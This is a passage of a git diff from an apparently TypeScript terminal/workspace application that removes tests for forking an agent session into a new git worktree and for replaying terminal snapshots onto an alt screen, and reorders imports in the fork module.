-        prompt: expect.stringContaining('User: compare OAuth options'),
-        promptDelivery: 'draft',
-        launchSource: 'terminal_context_menu'
-      })
-    )
-    expect(mockActivateAndRevealWorktree).toHaveBeenCalledWith('wt-fork', {
-      sidebarRevealBehavior: 'auto',
-      providesInitialSurface: true
-    })
-    expect(mockToast.success).toHaveBeenCalledWith(
-      'Top-level session fork opened in a new workspace'
-    )
-  })
-
-  // The launcher publishes the paired-host surface; seeding reveal would add an unwanted sibling shell.
-  it('reveals a paired fork without seeding a surface of its own', async () => {
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-    }
-    mockLaunchAgentInNewTab.mockImplementationOnce(
-      (args: { beforeSurfaceOpen?: (surface: { kind: 'host-published' }) => boolean }) => {
-        args.beforeSurfaceOpen?.({ kind: 'host-published' })
-        return {
-          surface: { kind: 'host-published' },
-          startupPlan: {},
-          pasteDraftAfterLaunch: false
-        }
-      }
-    )
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: 'group-1'
-    })
-
-    expect(mockActivateAndRevealWorktree).toHaveBeenCalledOnce()
-    expect(mockActivateAndRevealWorktree).toHaveBeenCalledWith('wt-fork', {
-      sidebarRevealBehavior: 'auto',
-      providesInitialSurface: true
-    })
-  })
-
-  it('waits for the destination and draft ownership before announcing the fork', async () => {
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-    }
-    const destination = Promise.withResolvers<{ kind: 'structured'; sessionId: string }>()
-    const draft = Promise.withResolvers<{
-      delivered: boolean
-      inComposer: boolean
-      failureNotified: boolean
-    }>()
-    const result = {
-      surface: { kind: 'host-published' },
-      startupPlan: {},
-      pasteDraftAfterLaunch: false,
-      structuredSettlement: destination.promise,
-      promptDeliveryResult: draft.promise
-    }
-    mockLaunchAgentInNewTab.mockImplementationOnce(
-      (args: { beforeSurfaceOpen?: (surface: { kind: 'host-published' }) => void }) => {
-        args.beforeSurfaceOpen?.({ kind: 'host-published' })
-        return result
-      }
-    )
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    const forking = forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: 'group-1'
-    })
-    await vi.waitFor(() => expect(mockLaunchAgentInNewTab).toHaveBeenCalledOnce())
-    expect(mockToast.success).not.toHaveBeenCalled()
-    destination.resolve({ kind: 'structured', sessionId: 'fork-session' })
-    await Promise.resolve()
-    expect(mockToast.success).not.toHaveBeenCalled()
-    draft.resolve({ delivered: false, inComposer: true, failureNotified: false })
-    await forking
-    expect(mockActivateAndRevealWorktree).toHaveBeenCalledWith('wt-fork', {
-      sidebarRevealBehavior: 'auto',
-      providesInitialSurface: true
-    })
-    expect(mockToast.success).toHaveBeenCalledWith(
-      'Top-level session fork opened in a new workspace'
-    )
-  })
-
-  it.each([
-    ['failed', { kind: 'failed', error: new Error('boom') }, true],
-    ['cancelled', { kind: 'cancelled', sessionId: 'session-1' }, true],
-    ['visibility-unknown', { kind: 'visibility-unknown', sessionId: 'session-1' }, false]
-  ])(
-    'retains the committed workspace and copies context after a %s destination',
-    async (_kind, settlement, _keepsOpen) => {
-      store.agentStatusByPaneKey = {
-        [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-      }
-      const result = {
-        surface: { kind: 'host-published' },
-        startupPlan: {},
-        pasteDraftAfterLaunch: false,
-        structuredSettlement: Promise.resolve(settlement)
-      }
-      mockLaunchAgentInNewTab.mockImplementationOnce(
-        (args: { beforeSurfaceOpen?: (surface: { kind: 'host-published' }) => void }) => {
-          args.beforeSurfaceOpen?.({ kind: 'host-published' })
-          return result
-        }
-      )
-      const { startAgentSessionFork, prepareAgentSessionForkFromPane } =
-        await import('./terminal-agent-session-fork')
-
-      const prepared = prepareAgentSessionForkFromPane({
-        pane: makePane('User: compare OAuth options'),
-        tabId: 'tab-1',
-        worktreeId: 'wt-1',
-        groupId: null
-      })
-      // Why: the worktree already exists; a false return would keep the dialog open for a second fork.
-      await expect(startAgentSessionFork(prepared!)).resolves.toBe(true)
-      expect(mockToast.success).not.toHaveBeenCalledWith(
-        'Top-level session fork opened in a new workspace'
-      )
-      expect(mockWriteClipboardText).toHaveBeenCalledOnce()
-      expect(mockActivateAndRevealWorktree).toHaveBeenCalledWith('wt-fork', {
-        sidebarRevealBehavior: 'auto'
-      })
-    }
-  )
-
-  it('uses Linux startup quoting for SSH workspaces', async () => {
-    store.repos = [{ id: 'repo-1', kind: 'git', connectionId: 'ssh-1' }]
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-    }
-    mockCreateWorktree.mockResolvedValueOnce({
-      worktree: {
-        id: 'wt-fork',
-        path: '/home/u/repo/auth-feature-fork'
-      }
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockLaunchAgentInNewTab).toHaveBeenCalledWith(
-      expect.objectContaining({
-        agent: 'codex',
-        worktreeId: 'wt-fork',
-        launchPlatform: 'linux'
-      })
-    )
-  })
-
-  it('uses Linux startup quoting for WSL workspaces', async () => {
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'pi' }
-    }
-    mockCreateWorktree.mockResolvedValueOnce({
-      worktree: {
-        id: 'wt-fork',
-        path: '\\\\wsl.localhost\\Ubuntu\\home\\u\\repo\\auth-feature-fork'
-      }
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockLaunchAgentInNewTab).toHaveBeenCalledWith(
-      expect.objectContaining({
-        agent: 'pi',
-        worktreeId: 'wt-fork',
-        launchPlatform: 'linux'
-      })
-    )
-  })
-
-  it('uses Linux startup quoting when a Windows-path project is forced to WSL', async () => {
-    store.projects = [
-      {
-        id: 'repo-1',
-        sourceRepoIds: ['repo-1'],
-        localWindowsRuntimePreference: { kind: 'wsl', distro: 'Ubuntu' }
-      }
-    ]
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'pi' }
-    }
-    mockCreateWorktree.mockResolvedValueOnce({
-      worktree: {
-        id: 'wt-fork',
-        path: 'C:\\repo\\auth-feature-fork'
-      }
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: compare OAuth options'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockLaunchAgentInNewTab).toHaveBeenCalledWith(
-      expect.objectContaining({
-        agent: 'pi',
-        worktreeId: 'wt-fork',
-        launchPlatform: 'linux'
-      })
-    )
-  })
-
-  it('creates a top-level workspace fork and copies context when the source agent cannot be resolved', async () => {
-    const pane = makePane('Assistant: here is the current plan')
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane,
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).toHaveBeenCalledWith(
-      'repo-1',
-      'auth-feature-fork',
-      'feature/auth',
-      'inherit',
-      undefined,
-      'terminal_context_menu',
-      'Fork of auth-feature',
-      undefined,
-      undefined,
-      undefined,
-      undefined,
-      ...Array(14).fill(undefined),
-      { executionHostId: 'local' }
-    )
-    expect(mockLaunchAgentInNewTab).not.toHaveBeenCalled()
-    expect(mockActivateAndRevealWorktree).toHaveBeenCalledWith('wt-fork', {
-      sidebarRevealBehavior: 'auto'
-    })
-    expect(mockWriteClipboardText).toHaveBeenCalledWith(
-      expect.stringContaining('Assistant: here is the current plan')
-    )
-    expect(mockToast.message).toHaveBeenCalledWith(
-      'Fork context copied. Launch an agent and paste it to start the fork.'
-    )
-    expect(pane.terminal.focus).toHaveBeenCalled()
-  })
-
-  it("creates the fork through the source's server, not its SSH place", async () => {
-    store.worktreesByRepo = {
-      'repo-1': [
-        { id: 'wt-1', repoId: 'repo-1', hostId: 'ssh:box', runtimeOwnerEnvironmentId: 'env-1' }
-      ]
-    }
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('Assistant: plan'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree.mock.calls[0]?.at(-1)).toEqual({ executionHostId: 'runtime:env-1' })
-  })
-
-  it('keeps the fork dialog path open when the source workspace has no git branch', async () => {
-    store.getKnownWorktreeById.mockReturnValue({
-      id: 'wt-1',
-      repoId: 'repo-1',
-      displayName: 'scratch',
-      branch: ''
-    })
-    const pane = makePane('User: summarize this scratch plan')
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane,
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).not.toHaveBeenCalled()
-    expect(mockLaunchAgentInNewTab).not.toHaveBeenCalled()
-    expect(mockWriteClipboardText).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith(
-      'This workspace cannot be forked into a git worktree.'
-    )
-  })
-
-  it.each([
-    ['archived', { isArchived: true }],
-    ['bare', { isBare: true }]
-  ])('does not create a worktree from an %s source workspace', async (_label, override) => {
-    store.getKnownWorktreeById.mockReturnValue({
-      id: 'wt-1',
-      repoId: 'repo-1',
-      displayName: 'auth-feature',
-      branch: 'feature/auth',
-      ...override
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: fork this blocked workspace'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).not.toHaveBeenCalled()
-    expect(mockWriteClipboardText).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith(
-      'This workspace cannot be forked into a git worktree.'
-    )
-  })
-
-  it('does not create a worktree from a folder-only source workspace', async () => {
-    store.repos = [{ id: 'repo-1', kind: 'folder' }]
-    store.getKnownWorktreeById.mockReturnValue({
-      id: 'wt-1',
-      repoId: 'repo-1',
-      displayName: 'folder-project',
-      branch: 'feature/auth'
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: fork this folder workspace'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).not.toHaveBeenCalled()
-    expect(mockWriteClipboardText).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith(
-      'This workspace cannot be forked into a git worktree.'
-    )
-  })
-
-  it('does not create a worktree from a floating terminal workspace', async () => {
-    store.getKnownWorktreeById.mockReturnValue({
-      id: FLOATING_TERMINAL_WORKTREE_ID,
-      repoId: 'repo-1',
-      displayName: 'Floating',
-      branch: 'feature/auth'
-    })
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: fork this floating terminal'),
-      tabId: 'tab-1',
-      worktreeId: FLOATING_TERMINAL_WORKTREE_ID,
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).not.toHaveBeenCalled()
-    expect(mockWriteClipboardText).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith(
-      'This workspace cannot be forked into a git worktree.'
-    )
-  })
-
-  it('keeps context available when workspace creation fails', async () => {
-    mockCreateWorktree.mockRejectedValueOnce(new Error('path already exists'))
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane: makePane('User: carry this context forward'),
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockLaunchAgentInNewTab).not.toHaveBeenCalled()
-    expect(mockWriteClipboardText).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith('path already exists')
-  })
-
-  it('copies context when the detected agent cannot queue a startup plan', async () => {
-    store.agentStatusByPaneKey = {
-      [`tab-1:${LEAF_ID}`]: { agentType: 'codex' }
-    }
-    mockLaunchAgentInNewTab.mockReturnValueOnce(null)
-    const pane = makePane('Assistant: current implementation notes')
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane,
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockCreateWorktree).toHaveBeenCalled()
-    expect(mockLaunchAgentInNewTab).toHaveBeenCalled()
-    expect(mockWriteClipboardText).toHaveBeenCalledWith(
-      expect.stringContaining('Assistant: current implementation notes')
-    )
-    expect(mockToast.message).toHaveBeenCalledWith(
-      'Fork context copied. Launch an agent and paste it to start the fork.'
-    )
-  })
-
-  it('surfaces clipboard failures instead of closing the fallback path silently', async () => {
-    mockWriteClipboardText.mockRejectedValueOnce(new Error('clipboard denied'))
-    const pane = makePane('Assistant: copy fallback context')
-    const { forkAgentSessionFromPane } = await import('./terminal-agent-session-fork')
-
-    await forkAgentSessionFromPane({
-      pane,
-      tabId: 'tab-1',
-      worktreeId: 'wt-1',
-      groupId: null
-    })
-
-    expect(mockLaunchAgentInNewTab).not.toHaveBeenCalled()
-    expect(mockToast.error).toHaveBeenCalledWith('clipboard denied')
-    expect(pane.terminal.focus).toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts b/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts
index df5d16cfe1c..347e9b2c323 100644
--- a/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts
+++ b/src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.ts
@@ -1,26 +1,24 @@
 import { toast } from 'sonner'
-import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import { launchAgentInNewTab } from '@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab'
 import { settleAgentTabLaunch } from '@/lib/agent-session/launch/new-tab/launch-agent-in-new-tab-host-agents'
 import { newAgentPromptOutcome } from '@/lib/agent-session/launch/prompt/new-agent-prompt-outcome'
 import { buildAgentSessionForkPrompt } from '@/lib/agent-session/context/agent-session-fork-context'
 import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation'
 import { resolveOwner } from '@/lib/workspace/ownership/resolve-owner'
-import {
-  toRuntimeExecutionHostId,
-  type ExecutionHostId
-} from '../../../../../shared/execution-host'
+import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../../shared/execution-host'
 import { useAppStore } from '@/store/index'
 import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { TUI_AGENT_CONFIG } from '../../../../../shared/agent-launch/catalog/tui-agent-config'
 import { getForkAgentLaunchPlatform } from './terminal-agent-session-fork-launch-platform'
 import { slugifyForWorkspaceName } from '../../../../../shared/workspace-name'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
-import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { translate } from '@/i18n/i18n'
 import { planAgentSessionLaunch } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
 import { newAgentLaunchRequestId } from '@/lib/agent-session/launch/routing/agent-launch-request-id'
+import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
+import type { TuiAgent } from '../../../../../shared/agent-launch/catalog/tui-agent'
 
 type ForkAgentSessionFromPaneArgs = {
   pane: ManagedPane
diff --git a/src/renderer/src/components/terminal-pane/session-restore/spawn-deferral/pane-spawn-deferral-drain.test.ts b/src/renderer/src/components/terminal-pane/session-restore/spawn-deferral/pane-spawn-deferral-drain.test.ts
deleted file mode 100644
index 0e8e3d7b4e9..00000000000
--- a/src/renderer/src/components/terminal-pane/session-restore/spawn-deferral/pane-spawn-deferral-drain.test.ts
+++ /dev/null
@@ -1,37 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const { callRuntimeRpc } = vi.hoisted(() => ({
-  callRuntimeRpc: vi.fn(async (..._args: unknown[]) => ({
-    automaticWork: { admission: 'enforce', mode: { kind: 'normal' } }
-  }))
-}))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc
-}))
-
-const { queueDeferredRestoreRetry, resetDeferredRestoreDrainForTests } =
-  await import('./pane-spawn-deferral-drain')
-
-beforeEach(() => {
-  vi.useFakeTimers()
-  callRuntimeRpc.mockClear()
-})
-
-afterEach(() => {
-  resetDeferredRestoreDrainForTests()
-  vi.useRealTimers()
-})
-
-describe('the background retry of restores a host kept asleep', () => {
-  it('asks one pane per host at a time and takes the next soon after one starts', async () => {
-    const order: string[] = []
-    const retry = (name: string) => vi.fn(async () => (order.push(name), true))
-    queueDeferredRestoreRetry('tab:a', 'env-1', retry('a'))
-    queueDeferredRestoreRetry('tab:b', 'env-1', retry('b'))
-    await vi.advanceTimersByTimeAsync(30_000)
-    expect(order).toEqual(['a'])
-    await vi.advanceTimersByTimeAsync(1_000)
-    expect(order).toEqual(['a', 'b'])
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts b/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts
index ea7a4b630ae..53074e8f344 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts
@@ -144,9 +144,6 @@ const PTY_ID = 'host-pty'
 const COMMAND_START = '\x1b]133;C\x07'
 // A setup script's output, then an agent TUI entering the alt screen over it.
 const LIVE_PANE = `${Array.from({ length: 10 }, (_, i) => `SETUP-OUTPUT-${i}`).join('\r\n')}\r\n$ claude${COMMAND_START}\x1b[?1049h\x1b[2J\x1b[HOLD-AGENT-FRAME`
-// Output the client missed before the host's recovery push.
-const AGENT_FRAME = '\x1b[H\x1b[2;1HNo\x1b[1Cnotice\x1b[1Ctoday'
-const AGENT_EXIT = `${AGENT_FRAME}\x1b[?1049lResume with claude --resume\r\n\x1b]133;D;0\x07\x1b]133;A\x07$ `
 
 type PaneEvent = string | { cols: number; rows: number }
 
@@ -158,10 +155,6 @@ function bufferLines(term: Terminal, which: 'normal' | 'alternate'): string[] {
   )
 }
 
-function viewport(term: Terminal, which: 'normal' | 'alternate'): string[] {
-  return bufferLines(term, which).slice(-term.rows)
-}
-
 async function render(events: PaneEvent[]): Promise<Terminal> {
   const term = new Terminal({ cols: COLS, rows: ROWS, scrollback: 100, allowProposedApi: true })
   for (const event of events) {
@@ -413,43 +406,7 @@ describe('host-published recovery snapshot onto a live alt screen', () => {
   }
 
   // Live TUIs may lack host owner metadata; retain their pre-TUI setup history beneath alt-screen paint.
-  it('keeps the covered history for a live TUI exactly as the host holds it', async () => {
-    const { data, meta, published } = await publishHostRecovery(AGENT_FRAME)
-    expect(published.alternateScreen).toBe(true)
-    expect(meta.terminalOwner).toBeUndefined()
-    expect(meta.alternateScreen).toBeUndefined()
-    const client = await render([LIVE_PANE, ...(await drainOntoLiveAltScreen(data, meta))])
-    const host = await render([LIVE_PANE, AGENT_FRAME])
-    try {
-      expect(client.buffer.active.type).toBe('alternate')
-      expect(viewport(client, 'alternate')).toEqual(viewport(host, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(host, 'normal'))
-    } finally {
-      client.dispose()
-      host.dispose()
-    }
-  })
-
   // Host TUI exit requires leaving alt and painting authoritative normal content.
-  it('repaints from the normal buffer once the host TUI has exited', async () => {
-    const { data, meta } = await publishHostRecovery(AGENT_EXIT)
-    // The ACK-overflow recovery replaces the pane's history with the host's.
-    expect(data).toContain('\x1b[3J')
-    expect(meta.terminalOwner).toBe('shell')
-    expect(meta.alternateScreen).toBe(false)
-    const client = await render([LIVE_PANE, ...(await drainOntoLiveAltScreen(data, meta))])
-    const host = await render([LIVE_PANE, AGENT_EXIT])
-    try {
-      expect(client.buffer.active.type).toBe('normal')
-      expect(viewport(client, 'normal')).toEqual(viewport(host, 'normal'))
-      // P2-5: no silent hole where the missed output scrolled off the host's screen.
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(host, 'normal'))
-    } finally {
-      client.dispose()
-      host.dispose()
-    }
-  })
-
   // A TUI may exit and another start inside the gap; matching alt endpoints do not prove the pane’s normal history is current.
   it('replaces the normal history that changed between two alt-screen sessions', async () => {
     const missed = `\x1b[?1049l\r\n${Array.from({ length: 300 }, (_, i) => `MISSED-${i}`).join('\r\n')}\r\n$ next-agent${COMMAND_START}\x1b[?1049h\x1b[2J\x1b[HNEW-AGENT-FRAME`
diff --git a/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-replay.test.ts b/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-replay.test.ts
index 5563a7414e9..1c3a2fa6007 100644
--- a/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-replay.test.ts
+++ b/src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-replay.test.ts
@@ -5,7 +5,6 @@ import {
   flushAsyncTicks,
   writeHeadlessTerminal
 } from '../pty-connection/test-fixtures/pty-connection-test-async'
-import { buildMainModelSnapshotReplayWrites } from './terminal-snapshot-replay-paint'
 import {
   terminalWriteText,
   createMockTransport,
@@ -101,7 +100,6 @@ function pushedImage(hostRows: number): string {
 function recoveryPayload(hostRows: number): string {
   return `\x1b[?2026l\x1b[2J\x1b[3J\x1b[H${pushedImage(hostRows)}`
 }
-const REQUESTED_IMAGE = `${NORMAL_LINES.join('\r\n')}${ENTER_AGENT_FRAME}`
 
 type PaneEvent = string | { cols: number; rows: number }
 
@@ -207,30 +205,6 @@ describe('remote snapshot replay onto a live alt screen', () => {
     return [...events, { cols: COLS, rows: ROWS }]
   }
 
-  // Folded normal history must not paint into a revisited live TUI’s alt buffer.
-  it('repaints a pushed image exactly and keeps the history the TUI covers', async () => {
-    const payload = recoveryPayload(ROWS)
-    const client = await render([
-      LIVE_PANE,
-      ...(await drainOntoLiveAltScreen(payload, {
-        carriesNormalBuffer: true,
-        snapshotCols: COLS,
-        snapshotRows: ROWS
-      }))
-    ])
-    const host = await render([LIVE_PANE])
-    const fresh = await render([pushedImage(ROWS)])
-    try {
-      expect(client.buffer.active.type).toBe('alternate')
-      expect(viewport(client, 'alternate')).toEqual(viewport(fresh, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(host, 'normal'))
-    } finally {
-      client.dispose()
-      host.dispose()
-      fresh.dispose()
-    }
-  })
-
   // Keep frozen normal history when a push repaints only the live alt frame, regardless of capture grid.
   it("keeps the pane's history when the host screen has another grid", async () => {
     const hostRows = 10
@@ -252,28 +226,6 @@ describe('remote snapshot replay onto a live alt screen', () => {
     }
   })
 
-  // Shared requested captures may include history; avoid duplicating it over the retained normal buffer.
-  it('keeps history unduplicated when a pushed image also carries history', async () => {
-    const client = await render([
-      LIVE_PANE,
-      ...(await drainOntoLiveAltScreen(`\x1b[?2026l\x1b[2J\x1b[3J\x1b[H${REQUESTED_IMAGE}`, {
-        carriesNormalBuffer: true,
-        snapshotCols: COLS,
-        snapshotRows: ROWS
-      }))
-    ])
-    const host = await render([LIVE_PANE])
-    const fresh = await render([REQUESTED_IMAGE])
-    try {
-      expect(viewport(client, 'alternate')).toEqual(viewport(fresh, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(host, 'normal'))
-    } finally {
-      client.dispose()
-      host.dispose()
-      fresh.dispose()
-    }
-  })
-
   // Wait for queued ?1049h before reading buffer type or normal image bytes could paint into the TUI.
   it('reads the pane buffer after a queued alt-screen entry parses', async () => {
     const client = await render([
@@ -295,87 +247,4 @@ describe('remote snapshot replay onto a live alt screen', () => {
       fresh.dispose()
     }
   })
-
-  // If the TUI started while hidden, rebuild its normal history and enter alt from the host image.
-  it('paints the whole image when the TUI started while hidden', async () => {
-    const client = await render([
-      NORMAL_LINES.join('\r\n'),
-      ...(await drainOntoLiveAltScreen(
-        recoveryPayload(ROWS),
-        { carriesNormalBuffer: true, snapshotCols: COLS, snapshotRows: ROWS },
-        'normal'
-      ))
-    ])
-    const fresh = await render([pushedImage(ROWS)])
-    try {
-      expect(client.buffer.active.type).toBe('alternate')
-      expect(viewport(client, 'alternate')).toEqual(viewport(fresh, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(fresh, 'normal'))
-    } finally {
-      client.dispose()
-      fresh.dispose()
-    }
-  })
-
-  // Host TUI exit requires leaving alt and showing its normal screen.
-  it('repaints from the normal buffer once the host TUI has exited', async () => {
-    const hostScreen = [...NORMAL_LINES, 'Resume with claude --resume', '$ ']
-      .slice(-ROWS)
-      .join('\r\n')
-    const client = await render([
-      LIVE_PANE,
-      ...(await drainOntoLiveAltScreen(`\x1b[?2026l\x1b[2J\x1b[3J\x1b[H${hostScreen}`, {
-        carriesNormalBuffer: true,
-        terminalOwner: 'shell',
-        alternateScreen: false,
-        snapshotCols: COLS,
-        snapshotRows: ROWS
-      }))
-    ])
-    const fresh = await render([hostScreen])
-    try {
-      expect(client.buffer.active.type).toBe('normal')
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(fresh, 'normal'))
-    } finally {
-      client.dispose()
-      fresh.dispose()
-    }
-  })
-
-  // Raw relay windows continue live alt output without replacing normal history.
-  it('clears a raw byte replay in place on the alt screen', async () => {
-    const client = await render([LIVE_PANE, ...(await drainOntoLiveAltScreen(AGENT_FRAME, {}))])
-    const expected = await render([LIVE_PANE, `\x1b[2J${AGENT_FRAME}`])
-    try {
-      expect(client.buffer.active.type).toBe('alternate')
-      expect(viewport(client, 'alternate')).toEqual(viewport(expected, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(expected, 'normal'))
-    } finally {
-      client.dispose()
-      expected.dispose()
-    }
-  })
-
-  // Shell-owner images must restore normal content even when the dead TUI omitted alt teardown.
-  it('paints a requested image from an exited TUI exactly over an alt screen', async () => {
-    const client = await render([
-      LIVE_PANE,
-      ...buildMainModelSnapshotReplayWrites(
-        {
-          data: REQUESTED_IMAGE,
-          alternateScreen: true,
-          carriesNormalBuffer: true
-        },
-        { paneOnAlternateScreen: true }
-      )
-    ])
-    const fresh = await render([REQUESTED_IMAGE])
-    try {
-      expect(viewport(client, 'alternate')).toEqual(viewport(fresh, 'alternate'))
-      expect(bufferLines(client, 'normal')).toEqual(bufferLines(fresh, 'normal'))
-    } finally {
-      client.dispose()
-      fresh.dispose()
-    }
-  })
 })
diff --git a/src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts b/src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts
deleted file mode 100644
index 680a1967f2c..00000000000
--- a/src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts
+++ /dev/null
@@ -1,496 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { ManagedPaneInternal } from '@/lib/pane-manager/pane-manager-types'
-import '@/lib/pane-manager/pane-lifecycle'
-import {
-  isPaneReplaying,
-  replayIntoTerminal,
-  replayIntoTerminalAsync,
-  waitForTerminalReplayWritesParsed,
-  type ReplayingPanesRef
-} from './replay-guard'
-import { configureLazyArabicShapingJoiner } from '@/lib/pane-manager/terminal-arabic-shaping-joiner'
-import {
-  _resetWritePipelineHealthForTests,
-  captureTerminalParseProgressGeneration,
-  hasTerminalParseProgressSince,
-  notifyUndeliverableWrite,
-  registerUndeliverableWriteHandler
-} from '@/lib/pane-manager/terminal-write-pipeline-health'
-
-const mocks = vi.hoisted(() => ({
-  recordRendererCrashBreadcrumb: vi.fn()
-}))
-
-vi.mock('@/diagnostics/crash-reporting/crash-breadcrumb-recorder', () => ({
-  recordRendererCrashBreadcrumb: mocks.recordRendererCrashBreadcrumb
-}))
-
-beforeEach(() => {
-  mocks.recordRendererCrashBreadcrumb.mockClear()
-})
-
-afterEach(() => {
-  vi.useRealTimers()
-})
-
-function makeRef(): ReplayingPanesRef {
-  return { current: new Map() } as ReplayingPanesRef
-}
-
-type FakeTerminal = {
-  write: (data: string, cb?: () => void) => void
-  lastData: string[]
-  pendingCallbacks: (() => void)[]
-  rows: number
-  buffer: {
-    active: {
-      baseY: number
-      viewportY: number
-    }
-  }
-  _core: {
-    refresh: (start: number, end: number, sync?: boolean) => void
-    // Private flag read by isXtermInstanceDisposed.
-    _store?: { _isDisposed: boolean }
-  }
-  refresh: (start: number, end: number) => void
-  /** Like xterm 6: drops queued write callbacks and flags the private store. */
-  dispose: () => void
-  /** Flush all pending xterm write callbacks, simulating parse completion. */
-  flush: () => void
-}
-
-function makeFakePane(paneId: number): { pane: ManagedPaneInternal; terminal: FakeTerminal } {
-  const pendingCallbacks: (() => void)[] = []
